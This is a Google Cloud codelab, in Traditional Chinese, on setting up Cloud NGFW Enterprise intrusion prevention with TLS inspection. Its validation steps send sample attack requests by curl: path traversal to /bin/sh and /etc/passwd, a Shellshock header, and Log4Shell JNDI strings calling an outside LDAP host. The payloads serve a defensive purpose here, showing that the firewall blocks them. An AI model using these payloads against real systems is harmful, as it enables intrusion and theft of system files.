Cloud NGFW Enterprise 程式碼研究室 [與 TLS 檢查]

1. 簡介

Cloud 新一代防火牆 (NGFW)

Cloud Next Generation Firewall 完全分散式防火牆服務,提供進階防護功能、微分段和普及的防護,可保護 Google Cloud 工作負載不受內部和外部攻擊的侵擾。

Cloud NGFW 具備下列優點:

  • 分散式防火牆服務:Cloud NGFW 能針對每個工作負載提供以狀態、完全分散式的主機為基礎的強制執行設定,藉此啟用零信任安全架構。
  • 簡化設定和部署:Cloud NGFW 實作可連接至資源階層節點的網路和階層式防火牆政策。這些政策能為 Google Cloud 資源階層提供一致的防火牆體驗。
  • 精細的控制與微分段:結合防火牆政策以及身分與存取權管理 (IAM) 管理標記,可讓您精細控管虛擬私有雲 (VPC) 網路和組織中,向南方與東向的傳送,到單一 VM 的流量。

Cloud NGFW 分為下列級別:

  • Cloud Next Generation Firewall Essentials
  • Cloud 新一代防火牆標準
  • Cloud 新一代防火牆 Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise 為分散式 Google Cloud 防火牆架構新增了入侵預防服務 (IPS),這是第 7 層功能。支援 TLS 檢查功能,允許檢查 TLS 加密流量。

您現在可以使用精細的控制項部署可靠的第 7 層新一代防火牆 (NGFW) 檢查,無須變更網路架構或轉送設定。

如要使用 IPS 啟動及部署第 7 層防火牆控制項,您必須執行下列工作:

  • 建立一組 Google Cloud 代管可用區防火牆端點。
  • 視需要建立 TLS 檢查政策。
  • 視需要建立信任設定。
  • 請將這些端點與需要使用 Cloud NGFW Enterprise 服務的虛擬私有雲 (VPC) 網路建立關聯。
  • 稍微變更現有的防火牆政策和防火牆規則,以指定不同流量路徑的威脅防護設定檔。

網路防火牆政策

網路防火牆政策可做為防火牆規則的容器使用。在政策與虛擬私有雲網路建立關聯之前,網路防火牆政策中定義的規則不會在任何位置強制執行。每個虛擬私有雲網路都只能有一項相關聯的網路防火牆政策。網路防火牆政策支援防火牆規則中受 IAM 規範的標記 (或只有標記),這類標記會取代目前的網路標記,並可用於為工作負載提供身分。

跨網路共用網路防火牆政策,並與受 IAM 控管的標記整合,可大幅簡化防火牆的設定與管理作業。

隨著網路防火牆政策推出,Google Cloud 的防火牆政策現在包含以下元件:

  1. 階層式防火牆政策
  2. 虛擬私有雲防火牆規則
  3. 網路防火牆政策 ( 全域區域性)

階層式防火牆政策支援資源階層內的機構和資料夾節點,虛擬私有雲防火牆規則和網路防火牆政策則會在虛擬私有雲層級套用。虛擬私有雲防火牆規則和網路防火牆政策的一大差異在於,虛擬私有雲防火牆規則只能套用至單一虛擬私有雲網路,網路防火牆政策則可連結至單一虛擬私有雲或一組虛擬私有雲,並具備批次更新等其他好處。

最後,每個虛擬私有雲網路都有默示防火牆規則

  • 輸出規則,其動作允許,目的地為 0.0.0.0/0
  • 輸入規則的動作遭拒,來源為 0.0.0.0/0

根據預設,強制執行順序如下圖所示:

21b3bcabc469ffe.png

請注意,您可以交換虛擬私有雲防火牆規則和全域網路防火牆政策之間的強制執行順序。客戶隨時可以使用 gcloud 指令指定強制執行順序。

標記

新的整合於網路防火牆政策規則的標記,是在 Google Cloud 資源階層的機構或專案層級定義的鍵/值組合資源。這類標記包含 IAM 存取權控管機制,用於指定誰可以對標記執行哪些操作。例如「識別與存取管理」 (IAM) 權限,可允許使用者指定哪些主體可以指派值給標記,以及哪些主體可以將標記附加至資源。如果網路防火牆規則參照標記,該標記必須套用至資源,才能強制執行。

標記會遵循 Google Cloud 的繼承資源模型,也就是說,標記及其值會從父項向下傳遞。因此,如果您在同一處建立標記,就能供資源階層結構中的其他資料夾和專案使用。如要進一步瞭解代碼和存取權限制,請前往這個頁面

標記不應與網路標記混淆。後者是可新增至 Compute Engine 執行個體的字串;這些執行個體會與執行個體相關聯,並在執行個體停用時消失。虛擬私有雲防火牆規則可能包含網路標記,但這類標記不視為雲端資源,因此不受 IAM 存取權控管限制。

請注意,本文件中會交替使用標記和受 IAM 控管的標記。

建構項目

本程式碼研究室需要一項專案,並有能力建立虛擬私有雲網路,並管理大量網路和安全性資源。並說明 Cloud NGFW Enterprise 如何透過以下方式提供 IPS 功能:

  • 使用 TLS 檢查檢查北向網際網路流程
  • 使用 TLS 檢查檢查內部 vpc 流程 [East-West]

系統會使用 5 個元組 (來源 IP、目的地 IP、通訊協定、來源通訊埠、目的地通訊埠) 和標記等 Cloud Firewall 比對參數,選取要檢查的流量。

3d0f288d3b92a295.png

網路防火牆政策規則集的結束狀態與下表類似:

優先順序

方向

目標

資料來源

目標位置

動作

類型

100

輸入

Server_Tag

健康檢查

不限

允許

Essentials

200

輸入

Client_Tag、Server_Tag

IAP

不限

允許

Essentials

800

輸入

Server_Tag

10.0.0.0/24

10.0.0.0/24

L7 檢查

Enterprise

850

輸出

Client_Tag

不限

10.0.0.0/24

允許

Essentials

900

輸出

Client_Tag

不限

不限

L7 檢查

Enterprise

課程內容

  • 如何建立網路防火牆政策。
  • 如何搭配網路防火牆政策建立及使用標記。
  • 說明如何在具備 TLS 檢查功能的 Cloud NGFW Enterprise 中設定及使用。

軟硬體需求

  • 存取 Google Cloud 專案
  • 具備部署執行個體與設定網路元件的知識。
  • 虛擬私有雲防火牆設定知識。

2. 事前準備

建立/更新變數

本程式碼研究室會使用 $variables,協助在 Cloud Shell 中實作 gcloud 設定。

在 Cloud Shell 中執行下列指令,以視需要取代括號內的資訊:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. 啟用 API

如果尚未啟用 API,請按照下列步驟操作:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. 建立 Cloud NGFW 企業端點

由於 Cloud NGFW Enterprise 端點建立作業大約需要 20 分鐘才能完成,因此系統會先建立 Cloud NGFW Enterprise 端點,並在建立端點時同時執行基礎設定。

建立安全性設定檔和安全性設定檔群組:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

預期輸出內容:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

確認資源已成功建立:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

預期的輸出內容 (請注意,輸出格式可能會因使用的用戶端而異:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

建立 Cloud NGFW Enterprise 端點:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing

執行下列指令,確認正在建立端點 (CREATING)。

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

預期的輸出內容 (請注意,輸出格式可能因使用的用戶端而異):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

您也可以執行下列指令來瞭解詳情:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

預期輸出內容:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

建立程序大約需要 20 分鐘。請前往「基礎設定」專區,同時建立必要的資源。

5. 基礎設定

虛擬私有雲網路與子網路

虛擬私有雲網路與子網路

建立虛擬私有雲網路和子網路:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

建立 Cloud Router 和 Cloud NAT 閘道:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

執行個體

建立用戶端和網路伺服器執行個體:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

專案層級標記

視需要將 tagAdmin 權限指派給使用者:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

建立專案層級的標記鍵和值:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

將標記繫結至執行個體:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

全域網路防火牆政策

建立全域網路防火牆政策:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

建立必要的 Cloud Firewall Essential 規則,允許來自 health-checkidentity-aware Proxy 範圍的流量:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

建立必要的 Cloud 防火牆規則,允許來自特定範圍的 east-west/子網路內輸入流量 (這些規則將更新為啟用 Cloud NGFW Enterprise 及 TLS 檢查):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

將雲端防火牆政策連結至虛擬私有雲網路:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Cloud 防火牆端點關聯

定義環境變數 (以備不時為準) 和/或想採用指令碼方法。

確認 Cloud Firewall 端點建立成功。只有在狀態顯示為 ACTIVE 時,才會繼續作業 (建立期間的預期狀態為「建立中」):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

預期的輸出內容 (請注意,輸出格式可能因使用的用戶端而異):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

您也可以執行下列指令來瞭解詳情:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

預期輸出內容:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

將 Cloud Firewall 端點與虛擬私有雲網路建立關聯:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

連結程序大約需要 10 分鐘。只有在狀態顯示為 ACTIVE 時,再前往「TLS」部分 (建立期間的預期狀態為「建立中」):

gcloud network-security firewall-endpoint-associations list

完成後預期的輸出內容:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

您也可以執行下列指令來瞭解詳情:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

預期輸出內容:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. 設定 TLS 資源

建立 CA 集區。這項資源將用來儲存我們為 NGFW Enterprise 產生的根 CA 憑證。

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

建立根 CA。這是 CA 憑證,用來簽署其他憑證,透過 NGFW Enterprise 提出要求。

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

如果收到下列訊息,請回答 y

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

建立服務帳戶。這個服務帳戶將用於要求 NGFW Enterprise 的憑證:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

設定服務帳戶的 IAM 權限:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

建立 TLS 政策 YAML 檔案。這個檔案會包含特定資源的相關資訊:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

匯入 TLS 檢查政策:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

更新端點關聯以啟用 TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

取得 CA 憑證,然後新增至用戶端的 CA 儲存庫:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

將 CA 憑證轉移至用戶端:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

透過 SSH 連線至 VM,將 CA 憑證移至 /usr/local/share/ca-certificates,並更新 CA 儲存庫:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

返回 Cloud Shell。

伺服器憑證簽署程序:

在 Cloud Shell 中,使用 pip 指令安裝 Pyca 密碼編譯程式庫:

pip install --user "cryptography>=2.2.0"

如要允許 Google Cloud SDK 使用 Pyca 密碼編譯程式庫,您必須啟用網站套件。

export CLOUDSDK_PYTHON_SITEPACKAGES=1

建立伺服器憑證:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

這項操作會在 Cloud Shell 中產生 cert.pem 和 key.pem 檔案。接著,將憑證和金鑰轉移至伺服器。

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

透過 SSH 連線至伺服器,更新 Apache 的憑證詳細資料:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

將憑證和金鑰移至特定資料夾:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

將 SSL 設定更新為使用已簽署的憑證:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

重新啟動 Apache:

sudo systemctl restart apache2

驗證 Apache 狀態:

sudo systemctl status apache2

應處於有效 (運作中) 狀態。

結束 VM 並繼續使用 Cloud Shell。

8. 驗證北向與 E/W 連線

在 Cloud Shell 中執行下列指令,並記下要使用的目標 IP:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

開啟新分頁,然後透過 IAP 啟動與用戶端 VM 的 SSH 連線 (您必須在新分頁中定義變數):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

執行下列指令,並記下要使用的目標 IP。建立變數,以前一步驟中註明的 IP 取代括號內的值,並確保這些 IP 可以連線:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

連結私人 IP,並確保可連上該 IP:

curl https://$target_privateip --max-time 2

curl 要求的預期結果:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

向 IP 傳送樣本攻擊。網路伺服器應回應所有要求,確認未設置 L7 檢查/預防機制:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

預期結果範例 (私人 IP):

400
404
400
200
200

同樣地,傳送要求至網際網路目的地:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

預期結果範例 (網際網路目的地):

400
404
400
403
403

退出 VM 終端機,並返回 Cloud Shell。

9. 建立及更新 TLS 檢查的防火牆規則

我們先前設定了防火牆規則,允許從內部子網路傳入伺服器的流量。我們現在會更新現有的輸入規則,並將動作設為 apply_security_profile_group。這樣做會啟用傳輸層安全標準 (TLS) 的 E/W L7 檢查功能:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

建立新規則,以傳輸層安全標準 (TLS) 檢查北向 L7 檢查。

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

建立新規則來允許 E/W 使用 EGRESS,以避免重複檢查。

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. 驗證北向 TLS 檢查

請切換回用戶端 VM 分頁或再次連線:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

將範例攻擊傳送至網際網路目的地:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

根據下方預期的輸出內容,沒有收到任何回應,確認系統現在已封鎖樣本攻擊:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

將下列變數設為伺服器 IP:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

將 TLS 要求範例傳送至伺服器:

curl https://$target_privateip --max-time 2

預期輸出內容:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

這項要求為何失敗?這是因為防火牆所接收的憑證來自不受信任的伺服器。在這種情況下,它會將自行簽署的憑證傳回給用戶端。我們必須將 CA 憑證新增至信任設定,才能啟用信任功能。

返回 Cloud Shell。

11. 進行信任設定

取得根 CA 憑證,將其設為格式正確的變數。

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

設定信任設定 YAML 檔案。這個檔案包含信任的詳細資料,例如 CA 憑證:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

以上指令會將您的根 CA 憑證納入信任存放區,因為您的伺服器憑證是使用根 CA 簽署。這表示防火牆會信任所有由根 CA 簽署的憑證,除了公開 CA (如果 TLS 政策將「exPublicCaSet」設為「false」) 也一樣。

檢查信任設定的內容。

cat trust_config.yaml 

輸出範例:

請特別注意憑證的縮排對齊方式。請務必遵循這個格式。

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

匯入信任設定:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

更新 TLS 政策 YAML 檔案,加入信任設定:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

匯入更新的 TLS 政策:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. 驗證 E/W TLS 檢查

透過 SSH 傳回用戶端,以便使用更新後的信任設定測試 E/W 流量:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

對伺服器執行以下傳輸層安全標準 (TLS) 要求範例:

curl https://$target_privateip --max-time 2

如果依然看到以下輸出內容,請等候更新全面生效。

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

預期輸出內容:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

傳送惡意測試流量至伺服器:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

預期輸出內容:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

根據下方預期的輸出內容,沒有收到任何回應,表示目前已封鎖樣本攻擊,無法進行 E/W。

13. 記錄

